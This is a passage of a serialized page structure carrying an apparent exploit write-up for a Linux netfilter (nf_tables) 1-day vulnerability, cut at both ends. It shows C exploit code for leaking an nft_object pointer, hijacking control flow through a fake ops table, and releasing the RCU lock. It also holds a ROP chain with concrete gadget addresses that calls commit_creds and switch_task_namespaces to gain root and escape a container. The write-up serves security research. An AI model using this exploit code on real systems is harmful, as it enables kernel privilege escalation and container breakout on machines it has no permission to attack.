obj_ptr);\n[...]\n",[57663],{"type":24,"tag":32,"props":57664,"children":57665},{"__ignoreMap":7},[57666,57673,57681,57694,57742,57769,57780,57818,57825,57854,57884],{"type":24,"tag":90,"props":57667,"children":57668},{"class":92,"line":93},[57669],{"type":24,"tag":90,"props":57670,"children":57671},{"style":114},[57672],{"type":29,"value":12686},{"type":24,"tag":90,"props":57674,"children":57675},{"class":92,"line":200},[57676],{"type":24,"tag":90,"props":57677,"children":57678},{"style":114},[57679],{"type":29,"value":57680}," // Leak nft_object ptr using table linked list\n",{"type":24,"tag":90,"props":57682,"children":57683},{"class":92,"line":239},[57684,57689],{"type":24,"tag":90,"props":57685,"children":57686},{"style":114},[57687],{"type":29,"value":57688}," fake_obj[8] = 8;",{"type":24,"tag":90,"props":57690,"children":57691},{"style":252},[57692],{"type":29,"value":57693}," // ulen = 8\n",{"type":24,"tag":90,"props":57695,"children":57696},{"class":92,"line":248},[57697,57702,57706,57711,57715,57719,57724,57728,57732,57737],{"type":24,"tag":90,"props":57698,"children":57699},{"style":136},[57700],{"type":29,"value":57701}," fake_obj",{"type":24,"tag":90,"props":57703,"children":57704},{"style":114},[57705],{"type":29,"value":719},{"type":24,"tag":90,"props":57707,"children":57708},{"style":349},[57709],{"type":29,"value":57710},"9",{"type":24,"tag":90,"props":57712,"children":57713},{"style":114},[57714],{"type":29,"value":11037},{"type":24,"tag":90,"props":57716,"children":57717},{"style":120},[57718],{"type":29,"value":5491},{"type":24,"tag":90,"props":57720,"children":57721},{"style":136},[57722],{"type":29,"value":57723}," fake_obj",{"type":24,"tag":90,"props":57725,"children":57726},{"style":114},[57727],{"type":29,"value":719},{"type":24,"tag":90,"props":57729,"children":57730},{"style":349},[57731],{"type":29,"value":6408},{"type":24,"tag":90,"props":57733,"children":57734},{"style":114},[57735],{"type":29,"value":57736},"];",{"type":24,"tag":90,"props":57738,"children":57739},{"style":252},[57740],{"type":29,"value":57741}," // udata = list->next\n",{"type":24,"tag":90,"props":57743,"children":57744},{"class":92,"line":258},[57745,57749,57753,57757,57761,57765],{"type":24,"tag":90,"props":57746,"children":57747},{"style":108},[57748],{"type":29,"value":57352},{"type":24,"tag":90,"props":57750,"children":57751},{"style":114},[57752],{"type":29,"value":57357},{"type":24,"tag":90,"props":57754,"children":57755},{"style":349},[57756],{"type":29,"value":3191},{"type":24,"tag":90,"props":57758,"children":57759},{"style":114},[57760],{"type":29,"value":133},{"type":24,"tag":90,"props":57762,"children":57763},{"style":349},[57764],{"type":29,"value":534},{"type":24,"tag":90,"props":57766,"children":57767},{"style":114},[57768],{"type":29,"value":571},{"type":24,"tag":90,"props":57770,"children":57771},{"class":92,"line":272},[57772,57776],{"type":24,"tag":90,"props":57773,"children":57774},{"style":108},[57775],{"type":29,"value":57381},{"type":24,"tag":90,"props":57777,"children":57778},{"style":114},[57779],{"type":29,"value":236},{"type":24,"tag":90,"props":57781,"children":57782},{"class":92,"line":281},[57783,57788,57792,57797,57801,57805,57809,57813],{"type":24,"tag":90,"props":57784,"children":57785},{"style":108},[57786],{"type":29,"value":57787}," udata_spray",{"type":24,"tag":90,"props":57789,"children":57790},{"style":114},[57791],{"type":29,"value":57357},{"type":24,"tag":90,"props":57793,"children":57794},{"style":349},[57795],{"type":29,"value":57796},"0xe8",{"type":24,"tag":90,"props":57798,"children":57799},{"style":114},[57800],{"type":29,"value":133},{"type":24,"tag":90,"props":57802,"children":57803},{"style":349},[57804],{"type":29,"value":3817},{"type":24,"tag":90,"props":57806,"children":57807},{"style":114},[57808],{"type":29,"value":133},{"type":24,"tag":90,"props":57810,"children":57811},{"style":349},[57812],{"type":29,"value":534},{"type":24,"tag":90,"props":57814,"children":57815},{"style":114},[57816],{"type":29,"value":57817},", fake_obj);\n",{"type":24,"tag":90,"props":57819,"children":57820},{"class":92,"line":384},[57821],{"type":24,"tag":90,"props":57822,"children":57823},{"emptyLinePlaceholder":16},[57824],{"type":29,"value":245},{"type":24,"tag":90,"props":57826,"children":57827},{"class":92,"line":420},[57828,57833,57837,57842,57846,57850],{"type":24,"tag":90,"props":57829,"children":57830},{"style":108},[57831],{"type":29,"value":57832}," get_obj",{"type":24,"tag":90,"props":57834,"children":57835},{"style":114},[57836],{"type":29,"value":57357},{"type":24,"tag":90,"props":57838,"children":57839},{"style":1085},[57840],{"type":29,"value":57841},"\"spray-0\"",{"type":24,"tag":90,"props":57843,"children":57844},{"style":114},[57845],{"type":29,"value":133},{"type":24,"tag":90,"props":57847,"children":57848},{"style":97},[57849],{"type":29,"value":6380},{"type":24,"tag":90,"props":57851,"children":57852},{"style":114},[57853],{"type":29,"value":571},{"type":24,"tag":90,"props":57855,"children":57856},{"class":92,"line":428},[57857,57862,57866,57871,57875,57879],{"type":24,"tag":90,"props":57858,"children":57859},{"style":108},[57860],{"type":29,"value":57861}," printf",{"type":24,"tag":90,"props":57863,"children":57864},{"style":114},[57865],{"type":29,"value":117},{"type":24,"tag":90,"props":57867,"children":57868},{"style":1085},[57869],{"type":29,"value":57870},"\"[*] nft_object ptr: 0x%lx",{"type":24,"tag":90,"props":57872,"children":57873},{"style":50196},[57874],{"type":29,"value":50199},{"type":24,"tag":90,"props":57876,"children":57877},{"style":1085},[57878],{"type":29,"value":21855},{"type":24,"tag":90,"props":57880,"children":57881},{"style":114},[57882],{"type":29,"value":57883},", obj_ptr);\n",{"type":24,"tag":90,"props":57885,"children":57886},{"class":92,"line":437},[57887],{"type":24,"tag":90,"props":57888,"children":57889},{"style":114},[57890],{"type":29,"value":12686},{"type":24,"tag":1019,"props":57892,"children":57894},{"id":57893},"hijacking-control-flow",[57895],{"type":29,"value":57896},"Hijacking control-flow",{"type":24,"tag":25,"props":57898,"children":57899},{},[57900,57902,57907,57909,57914,57916,57921,57923,57928,57930,57935,57937],{"type":29,"value":57901},"To hijack control-flow, we can use ",{"type":24,"tag":32,"props":57903,"children":57905},{"className":57904},[],[57906],{"type":29,"value":56938},{"type":29,"value":57908}," once again. The ",{"type":24,"tag":32,"props":57910,"children":57912},{"className":57911},[],[57913],{"type":29,"value":56938},{"type":29,"value":57915}," struct has an ",{"type":24,"tag":32,"props":57917,"children":57919},{"className":57918},[],[57920],{"type":29,"value":54494},{"type":29,"value":57922}," pointer to a function pointer table. We can swap the ",{"type":24,"tag":32,"props":57924,"children":57926},{"className":57925},[],[57927],{"type":29,"value":54494},{"type":29,"value":57929}," pointer with the ",{"type":24,"tag":32,"props":57931,"children":57933},{"className":57932},[],[57934],{"type":29,"value":56923},{"type":29,"value":57936}," pointer, taking control of the pointer table.\n",{"type":24,"tag":6301,"props":57938,"children":57940},{"alt":52402,"src":57939},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":24,"tag":80,"props":57942,"children":57944},{"className":30921,"code":57943,"language":30923,"meta":7,"style":7},"[...]\n // Fake ops\n uint64_t *rop = calloc(29, sizeof(uint64_t));\n rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n // Send ROP in object udata\n del_obj(nl, \"spray-0\");\n wait_destroyer();\n obj_spray(nl, 1, 1, rop, 0xb8);\n fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n DumpHex(fake_obj, 0xe8);\n uint64_t rop_addr = fake_obj[9]; // udata ptr\n printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n // Point to fake ops\n fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n // Write ROP\n puts(\"[*] Write ROP\");\n deludata_spray(nl, 3, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n // Takeover RIP\n puts(\"[*] Takeover RIP\");\n dump_obj(nl, \"spray-1\");\n[...]\n",[57945],{"type":24,"tag":32,"props":57946,"children":57947},{"__ignoreMap":7},[57948,57955,57963,57987,58034,58070,58077,58085,58117,58125,58133,58154,58162,58170,58234,58241,58249,58257,58264,58272,58306,58314,58321,58329,58336,58344,58377,58398],{"type":24,"tag":90,"props":57949,"children":57950},{"class":92,"line":93},[57951],{"type":24,"tag":90,"props":57952,"children":57953},{"style":114},[57954],{"type":29,"value":12686},{"type":24,"tag":90,"props":57956,"children":57957},{"class":92,"line":200},[57958],{"type":24,"tag":90,"props":57959,"children":57960},{"style":114},[57961],{"type":29,"value":57962}," // Fake ops\n",{"type":24,"tag":90,"props":57964,"children":57965},{"class":92,"line":239},[57966,57971,57975,57979,57983],{"type":24,"tag":90,"props":57967,"children":57968},{"style":114},[57969],{"type":29,"value":57970}," uint64_t *rop = calloc(29, ",{"type":24,"tag":90,"props":57972,"children":57973},{"style":146},[57974],{"type":29,"value":57152},{"type":24,"tag":90,"props":57976,"children":57977},{"style":114},[57978],{"type":29,"value":117},{"type":24,"tag":90,"props":57980,"children":57981},{"style":97},[57982],{"type":29,"value":57459},{"type":24,"tag":90,"props":57984,"children":57985},{"style":114},[57986],{"type":29,"value":9605},{"type":24,"tag":90,"props":57988,"children":57989},{"class":92,"line":248},[57990,57995,57999,58003,58007,58011,58016,58020,58025,58029],{"type":24,"tag":90,"props":57991,"children":57992},{"style":136},[57993],{"type":29,"value":57994}," rop",{"type":24,"tag":90,"props":57996,"children":57997},{"style":114},[57998],{"type":29,"value":719},{"type":24,"tag":90,"props":58000,"children":58001},{"style":349},[58002],{"type":29,"value":6408},{"type":24,"tag":90,"props":58004,"children":58005},{"style":114},[58006],{"type":29,"value":11037},{"type":24,"tag":90,"props":58008,"children":58009},{"style":120},[58010],{"type":29,"value":5491},{"type":24,"tag":90,"props":58012,"children":58013},{"style":114},[58014],{"type":29,"value":58015}," kaslr_slide ",{"type":24,"tag":90,"props":58017,"children":58018},{"style":120},[58019],{"type":29,"value":6767},{"type":24,"tag":90,"props":58021,"children":58022},{"style":349},[58023],{"type":29,"value":58024}," 0xffffffff81988647",{"type":24,"tag":90,"props":58026,"children":58027},{"style":114},[58028],{"type":29,"value":50897},{"type":24,"tag":90,"props":58030,"children":58031},{"style":252},[58032],{"type":29,"value":58033}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":24,"tag":90,"props":58035,"children":58036},{"class":92,"line":258},[58037,58041,58045,58049,58053,58057,58061,58065],{"type":24,"tag":90,"props":58038,"children":58039},{"style":136},[58040],{"type":29,"value":57994},{"type":24,"tag":90,"props":58042,"children":58043},{"style":114},[58044],{"type":29,"value":719},{"type":24,"tag":90,"props":58046,"children":58047},{"style":349},[58048],{"type":29,"value":3191},{"type":24,"tag":90,"props":58050,"children":58051},{"style":114},[58052],{"type":29,"value":11037},{"type":24,"tag":90,"props":58054,"children":58055},{"style":120},[58056],{"type":29,"value":5491},{"type":24,"tag":90,"props":58058,"children":58059},{"style":114},[58060],{"type":29,"value":58015},{"type":24,"tag":90,"props":58062,"children":58063},{"style":120},[58064],{"type":29,"value":6767},{"type":24,"tag":90,"props":58066,"children":58067},{"style":114},[58068],{"type":29,"value":58069}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":24,"tag":90,"props":58071,"children":58072},{"class":92,"line":272},[58073],{"type":24,"tag":90,"props":58074,"children":58075},{"style":114},[58076],{"type":29,"value":12686},{"type":24,"tag":90,"props":58078,"children":58079},{"class":92,"line":281},[58080],{"type":24,"tag":90,"props":58081,"children":58082},{"style":114},[58083],{"type":29,"value":58084}," // Send ROP in object udata\n",{"type":24,"tag":90,"props":58086,"children":58087},{"class":92,"line":384},[58088,58093,58097,58102,58107,58112],{"type":24,"tag":90,"props":58089,"children":58090},{"style":114},[58091],{"type":29,"value":58092}," del_obj(",{"type":24,"tag":90,"props":58094,"children":58095},{"style":146},[58096],{"type":29,"value":56114},{"type":24,"tag":90,"props":58098,"children":58099},{"style":114},[58100],{"type":29,"value":58101},", \"",{"type":24,"tag":90,"props":58103,"children":58104},{"style":146},[58105],{"type":29,"value":58106},"spray",{"type":24,"tag":90,"props":58108,"children":58109},{"style":114},[58110],{"type":29,"value":58111},"-0",{"type":24,"tag":90,"props":58113,"children":58114},{"style":1085},[58115],{"type":29,"value":58116},"\");\n",{"type":24,"tag":90,"props":58118,"children":58119},{"class":92,"line":420},[58120],{"type":24,"tag":90,"props":58121,"children":58122},{"style":1085},[58123],{"type":29,"value":58124}," wait_destroyer();\n",{"type":24,"tag":90,"props":58126,"children":58127},{"class":92,"line":428},[58128],{"type":24,"tag":90,"props":58129,"children":58130},{"style":1085},[58131],{"type":29,"value":58132}," obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":24,"tag":90,"props":58134,"children":58135},{"class":92,"line":437},[58136,58141,58145,58150],{"type":24,"tag":90,"props":58137,"children":58138},{"style":1085},[58139],{"type":29,"value":58140}," fake_obj = (uint64_t *)getudata(nl, \"",{"type":24,"tag":90,"props":58142,"children":58143},{"style":97},[58144],{"type":29,"value":58106},{"type":24,"tag":90,"props":58146,"children":58147},{"style":114},[58148],{"type":29,"value":58149},"-3",{"type":24,"tag":90,"props":58151,"children":58152},{"style":1085},[58153],{"type":29,"value":58116},{"type":24,"tag":90,"props":58155,"children":58156},{"class":92,"line":574},[58157],{"type":24,"tag":90,"props":58158,"children":58159},{"style":1085},[58160],{"type":29,"value":58161}," DumpHex(fake_obj, 0xe8);\n",{"type":24,"tag":90,"props":58163,"children":58164},{"class":92,"line":606},[58165],{"type":24,"tag":90,"props":58166,"children":58167},{"style":1085},[58168],{"type":29,"value":58169}," uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":24,"tag":90,"props":58171,"children":58172},{"class":92,"line":615},[58173,58178,58182,58186,58190,58195,58200,58205,58209,58214,58219,58224,58229],{"type":24,"tag":90,"props":58174,"children":58175},{"style":1085},[58176],{"type":29,"value":58177}," printf(\"",{"type":24,"tag":90,"props":58179,"children":58180},{"style":114},[58181],{"type":29,"value":719},{"type":24,"tag":90,"props":58183,"children":58184},{"style":120},[58185],{"type":29,"value":983},{"type":24,"tag":90,"props":58187,"children":58188},{"style":114},[58189],{"type":29,"value":11037},{"type":24,"tag":90,"props":58191,"children":58192},{"style":146},[58193],{"type":29,"value":58194},"ROP",{"type":24,"tag":90,"props":58196,"children":58197},{"style":146},[58198],{"type":29,"value":58199}," addr",{"type":24,"tag":90,"props":58201,"children":58202},{"style":114},[58203],{"type":29,"value":58204},": 0",{"type":24,"tag":90,"props":58206,"children":58207},{"style":146},[58208],{"type":29,"value":21070},{"type":24,"tag":90,"props":58210,"children":58211},{"style":114},[58212],{"type":29,"value":58213},"%",{"type":24,"tag":90,"props":58215,"children":58216},{"style":146},[58217],{"type":29,"value":58218},"lx",{"type":24,"tag":90,"props":58220,"children":58221},{"style":114},[58222],{"type":29,"value":58223},"\\",{"type":24,"tag":90,"props":58225,"children":58226},{"style":146},[58227],{"type":29,"value":58228},"n",{"type":24,"tag":90,"props":58230,"children":58231},{"style":1085},[58232],{"type":29,"value":58233},"\", rop_addr);\n",{"type":24,"tag":90,"props":58235,"children":58236},{"class":92,"line":623},[58237],{"type":24,"tag":90,"props":58238,"children":58239},{"emptyLinePlaceholder":16},[58240],{"type":29,"value":245},{"type":24,"tag":90,"props":58242,"children":58243},{"class":92,"line":632},[58244],{"type":24,"tag":90,"props":58245,"children":58246},{"style":1085},[58247],{"type":29,"value":58248}," // Point to fake ops\n",{"type":24,"tag":90,"props":58250,"children":58251},{"class":92,"line":669},[58252],{"type":24,"tag":90,"props":58253,"children":58254},{"style":1085},[58255],{"type":29,"value":58256}," fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":24,"tag":90,"props":58258,"children":58259},{"class":92,"line":683},[58260],{"type":24,"tag":90,"props":58261,"children":58262},{"style":1085},[58263],{"type":29,"value":12686},{"type":24,"tag":90,"props":58265,"children":58266},{"class":92,"line":737},[58267],{"type":24,"tag":90,"props":58268,"children":58269},{"style":1085},[58270],{"type":29,"value":58271}," // Write ROP\n",{"type":24,"tag":90,"props":58273,"children":58274},{"class":92,"line":751},[58275,58280,58284,58288,58292,58297,58302],{"type":24,"tag":90,"props":58276,"children":58277},{"style":1085},[58278],{"type":29,"value":58279}," puts(\"",{"type":24,"tag":90,"props":58281,"children":58282},{"style":114},[58283],{"type":29,"value":719},{"type":24,"tag":90,"props":58285,"children":58286},{"style":120},[58287],{"type":29,"value":983},{"type":24,"tag":90,"props":58289,"children":58290},{"style":114},[58291],{"type":29,"value":11037},{"type":24,"tag":90,"props":58293,"children":58294},{"style":146},[58295],{"type":29,"value":58296},"Write",{"type":24,"tag":90,"props":58298,"children":58299},{"style":146},[58300],{"type":29,"value":58301}," ROP",{"type":24,"tag":90,"props":58303,"children":58304},{"style":1085},[58305],{"type":29,"value":58116},{"type":24,"tag":90,"props":58307,"children":58308},{"class":92,"line":782},[58309],{"type":24,"tag":90,"props":58310,"children":58311},{"style":1085},[58312],{"type":29,"value":58313}," deludata_spray(nl, 3, 1);\n",{"type":24,"tag":90,"props":58315,"children":58316},{"class":92,"line":791},[58317],{"type":24,"tag":90,"props":58318,"children":58319},{"style":1085},[58320],{"type":29,"value":58124},{"type":24,"tag":90,"props":58322,"children":58323},{"class":92,"line":799},[58324],{"type":24,"tag":90,"props":58325,"children":58326},{"style":1085},[58327],{"type":29,"value":58328}," udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":24,"tag":90,"props":58330,"children":58331},{"class":92,"line":807},[58332],{"type":24,"tag":90,"props":58333,"children":58334},{"emptyLinePlaceholder":16},[58335],{"type":29,"value":245},{"type":24,"tag":90,"props":58337,"children":58338},{"class":92,"line":821},[58339],{"type":24,"tag":90,"props":58340,"children":58341},{"style":1085},[58342],{"type":29,"value":58343}," // Takeover RIP\n",{"type":24,"tag":90,"props":58345,"children":58346},{"class":92,"line":6278},[58347,58351,58355,58359,58363,58368,58373],{"type":24,"tag":90,"props":58348,"children":58349},{"style":1085},[58350],{"type":29,"value":58279},{"type":24,"tag":90,"props":58352,"children":58353},{"style":114},[58354],{"type":29,"value":719},{"type":24,"tag":90,"props":58356,"children":58357},{"style":120},[58358],{"type":29,"value":983},{"type":24,"tag":90,"props":58360,"children":58361},{"style":114},[58362],{"type":29,"value":11037},{"type":24,"tag":90,"props":58364,"children":58365},{"style":146},[58366],{"type":29,"value":58367},"Takeover",{"type":24,"tag":90,"props":58369,"children":58370},{"style":146},[58371],{"type":29,"value":58372}," RIP",{"type":24,"tag":90,"props":58374,"children":58375},{"style":1085},[58376],{"type":29,"value":58116},{"type":24,"tag":90,"props":58378,"children":58379},{"class":92,"line":11420},[58380,58385,58389,58394],{"type":24,"tag":90,"props":58381,"children":58382},{"style":1085},[58383],{"type":29,"value":58384}," dump_obj(nl, \"",{"type":24,"tag":90,"props":58386,"children":58387},{"style":97},[58388],{"type":29,"value":58106},{"type":24,"tag":90,"props":58390,"children":58391},{"style":114},[58392],{"type":29,"value":58393},"-1",{"type":24,"tag":90,"props":58395,"children":58396},{"style":1085},[58397],{"type":29,"value":58116},{"type":24,"tag":90,"props":58399,"children":58400},{"class":92,"line":11438},[58401],{"type":24,"tag":90,"props":58402,"children":58403},{"style":1085},[58404],{"type":29,"value":12686},{"type":24,"tag":1019,"props":58406,"children":58408},{"id":58407},"bypass-context-switch-in-rcu-critical-section",[58409],{"type":29,"value":58410},"Bypass context switch in RCU critical-section",{"type":24,"tag":25,"props":58412,"children":58413},{},[58414,58415,58420],{"type":29,"value":3131},{"type":24,"tag":32,"props":58416,"children":58418},{"className":58417},[],[58419],{"type":29,"value":56938},{"type":29,"value":58421}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":24,"tag":25,"props":58423,"children":58424},{},[58425,58427,58434,58436,58442,58444,58450],{"type":29,"value":58426},"A workaround has been discussed before by D3v17 in a ",{"type":24,"tag":69,"props":58428,"children":58431},{"href":58429,"rel":58430},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[73],[58432],{"type":29,"value":58433},"previous kernelCTF submission",{"type":29,"value":58435}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":24,"tag":32,"props":58437,"children":58439},{"className":58438},[],[58440],{"type":29,"value":58441},"task_struct",{"type":29,"value":58443}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":24,"tag":32,"props":58445,"children":58447},{"className":58446},[],[58448],{"type":29,"value":58449},"__rcu_read_unlock()",{"type":29,"value":58451}," function and exit the RCU critical-section before switching contexts.",{"type":24,"tag":80,"props":58453,"children":58455},{"className":30921,"code":58454,"language":30923,"meta":7,"style":7}," // ROP stage 1\n int pos = 3;\n\n rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[58456],{"type":24,"tag":32,"props":58457,"children":58458},{"__ignoreMap":7},[58459,58467,58491,58498],{"type":24,"tag":90,"props":58460,"children":58461},{"class":92,"line":93},[58462],{"type":24,"tag":90,"props":58463,"children":58464},{"style":252},[58465],{"type":29,"value":58466}," // ROP stage 1\n",{"type":24,"tag":90,"props":58468,"children":58469},{"class":92,"line":200},[58470,58474,58479,58483,58487],{"type":24,"tag":90,"props":58471,"children":58472},{"style":97},[58473],{"type":29,"value":20871},{"type":24,"tag":90,"props":58475,"children":58476},{"style":114},[58477],{"type":29,"value":58478}," pos ",{"type":24,"tag":90,"props":58480,"children":58481},{"style":120},[58482],{"type":29,"value":5491},{"type":24,"tag":90,"props":58484,"children":58485},{"style":349},[58486],{"type":29,"value":20893},{"type":24,"tag":90,"props":58488,"children":58489},{"style":114},[58490],{"type":29,"value":381},{"type":24,"tag":90,"props":58492,"children":58493},{"class":92,"line":239},[58494],{"type":24,"tag":90,"props":58495,"children":58496},{"emptyLinePlaceholder":16},[58497],{"type":29,"value":245},{"type":24,"tag":90,"props":58499,"children":58500},{"class":92,"line":248},[58501,58505,58510,58514,58518,58522,58526,58530],{"type":24,"tag":90,"props":58502,"children":58503},{"style":136},[58504],{"type":29,"value":57994},{"type":24,"tag":90,"props":58506,"children":58507},{"style":114},[58508],{"type":29,"value":58509},"[pos",{"type":24,"tag":90,"props":58511,"children":58512},{"style":120},[58513],{"type":29,"value":53093},{"type":24,"tag":90,"props":58515,"children":58516},{"style":114},[58517],{"type":29,"value":11037},{"type":24,"tag":90,"props":58519,"children":58520},{"style":120},[58521],{"type":29,"value":5491},{"type":24,"tag":90,"props":58523,"children":58524},{"style":114},[58525],{"type":29,"value":58015},{"type":24,"tag":90,"props":58527,"children":58528},{"style":120},[58529],{"type":29,"value":6767},{"type":24,"tag":90,"props":58531,"children":58532},{"style":114},[58533],{"type":29,"value":58534}," __RCU_READ_UNLOCK;\n",{"type":24,"tag":1019,"props":58536,"children":58538},{"id":58537},"rop",[58539],{"type":29,"value":58194},{"type":24,"tag":25,"props":58541,"children":58542},{},[58543],{"type":29,"value":58544},"Most of the ROP chain to escape the container as root is business as usual:",{"type":24,"tag":3207,"props":58546,"children":58547},{},[58548,58559,58570],{"type":24,"tag":3104,"props":58549,"children":58550},{},[58551,58557],{"type":24,"tag":32,"props":58552,"children":58554},{"className":58553},[],[58555],{"type":29,"value":58556},"commit_creds(&init_cred);",{"type":29,"value":58558}," Commit root credentials to our process",{"type":24,"tag":3104,"props":58560,"children":58561},{},[58562,58568],{"type":24,"tag":32,"props":58563,"children":58565},{"className":58564},[],[58566],{"type":29,"value":58567},"task = find_task_by_vpid(1);",{"type":29,"value":58569}," Find the root process of our namespace",{"type":24,"tag":3104,"props":58571,"children":58572},{},[58573,58579],{"type":24,"tag":32,"props":58574,"children":58576},{"className":58575},[],[58577],{"type":29,"value":58578},"switch_task_namespaces(task, &init_nsproxy);",{"type":29,"value":58580}," Move it to the root namespace",{"type":24,"tag":25,"props":58582,"children":58583},{},[58584,58586,58592,58594,58600,58602,58608,58610,58616,58618,58623,58625,58631],{"type":29,"value":58585},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":24,"tag":32,"props":58587,"children":58589},{"className":58588},[],[58590],{"type":29,"value":58591},"find_task_by_vpid(1)",{"type":29,"value":58593}," passed through ",{"type":24,"tag":32,"props":58595,"children":58597},{"className":58596},[],[58598],{"type":29,"value":58599},"rax",{"type":29,"value":58601}," to ",{"type":24,"tag":32,"props":58603,"children":58605},{"className":58604},[],[58606],{"type":29,"value":58607},"rdi",{"type":29,"value":58609},". What I ended up going with was a ",{"type":24,"tag":32,"props":58611,"children":58613},{"className":58612},[],[58614],{"type":29,"value":58615},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":29,"value":58617}," gadget, that allowed me to push the ",{"type":24,"tag":32,"props":58619,"children":58621},{"className":58620},[],[58622],{"type":29,"value":58599},{"type":29,"value":58624}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":24,"tag":32,"props":58626,"children":58628},{"className":58627},[],[58629],{"type":29,"value":58630},"pop rdi; ret",{"type":29,"value":58632}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":24,"tag":3207,"props":58634,"children":58635},{},[58636,58641,58654],{"type":24,"tag":3104,"props":58637,"children":58638},{},[58639],{"type":29,"value":58640},"We push the value onto the stack (stack pointer regresses)",{"type":24,"tag":3104,"props":58642,"children":58643},{},[58644,58646,58652],{"type":29,"value":58645},"We jump to our \"trampoline\" gadget (",{"type":24,"tag":32,"props":58647,"children":58649},{"className":58648},[],[58650],{"type":29,"value":58651},"pop rdi; ret;",{"type":29,"value":58653}," location)",{"type":24,"tag":3104,"props":58655,"children":58656},{},[58657,58662],{"type":24,"tag":32,"props":58658,"children":58660},{"className":58659},[],[58661],{"type":29,"value":58630},{"type":29,"value":58663}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":24,"tag":80,"props":58665,"children":58667},{"className":30921,"code":58666,"language":30923,"meta":7,"style":7},"[...]\n // commit_creds(&init_cred);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = kaslr_slide + INIT_CRED;\n rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n // task = find_task_by_vpid(1);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = 1;\n rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = obj_ptr + 0xe0 - 0x66; // rax -> rdi and resume rop\n rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n // switch_task_namespaces(task, &init_nsproxy);\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = kaslr_slide + INIT_NSPROXY;\n rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[58668],{"type":24,"tag":32,"props":58669,"children":58670},{"__ignoreMap":7},[58671,58678,58695,58740,58776,58812,58819,58827,58870,58901,58937,58982,59037,59082,59089,59097,59140,59176,59212],{"type":24,"tag":90,"props":58672,"children":58673},{"class":92,"line":93},[58674],{"type":24,"tag":90,"props":58675,"children":58676},{"style":114},[58677],{"type":29,"value":12686},{"type":24,"tag":90,"props":58679,"children":58680},{"class":92,"line":200},[58681,58686,58691],{"type":24,"tag":90,"props":58682,"children":58683},{"style":114},[58684],{"type":29,"value":58685}," // commit_creds(&",{"type":24,"tag":90,"props":58687,"children":58688},{"style":136},[58689],{"type":29,"value":58690},"init_cred",{"type":24,"tag":90,"props":58692,"children":58693},{"style":114},[58694],{"type":29,"value":571},{"type":24,"tag":90,"props":58696,"children":58697},{"class":92,"line":239},[58698,58702,58706,58710,58714,58718,58722,58726,58731,58735],{"type":24,"tag":90,"props":58699,"children":58700},{"style":136},[58701],{"type":29,"value":57994},{"type":24,"tag":90,"props":58703,"children":58704},{"style":114},[58705],{"type":29,"value":58509},{"type":24,"tag":90,"props":58707,"children":58708},{"style":120},[58709],{"type":29,"value":53093},{"type":24,"tag":90,"props":58711,"children":58712},{"style":114},[58713],{"type":29,"value":11037},{"type":24,"tag":90,"props":58715,"children":58716},{"style":120},[58717],{"type":29,"value":5491},{"type":24,"tag":90,"props":58719,"children":58720},{"style":114},[58721],{"type":29,"value":58015},{"type":24,"tag":90,"props":58723,"children":58724},{"style":120},[58725],{"type":29,"value":6767},{"type":24,"tag":90,"props":58727,"children":58728},{"style":349},[58729],{"type":29,"value":58730}," 0xffffffff8112c7c0",{"type":24,"tag":90,"props":58732,"children":58733},{"style":114},[58734],{"type":29,"value":50897},{"type":24,"tag":90,"props":58736,"children":58737},{"style":252},[58738],{"type":29,"value":58739}," // pop rdi; ret;\n",{"type":24,"tag":90,"props":58741,"children":58742},{"class":92,"line":248},[58743,58747,58751,58755,58759,58763,58767,58771],{"type":24,"tag":90,"props":58744,"children":58745},{"style":136},[58746],{"type":29,"value":57994},{"type":24,"tag":90,"props":58748,"children":58749},{"style":114},[58750],{"type":29,"value":58509},{"type":24,"tag":90,"props":58752,"children":58753},{"style":120},[58754],{"type":29,"value":53093},{"type":24,"tag":90,"props":58756,"children":58757},{"style":114},[58758],{"type":29,"value":11037},{"type":24,"tag":90,"props":58760,"children":58761},{"style":120},[58762],{"type":29,"value":5491},{"type":24,"tag":90,"props":58764,"children":58765},{"style":114},[58766],{"type":29,"value":58015},{"type":24,"tag":90,"props":58768,"children":58769},{"style":120},[58770],{"type":29,"value":6767},{"type":24,"tag":90,"props":58772,"children":58773},{"style":114},[58774],{"type":29,"value":58775}," 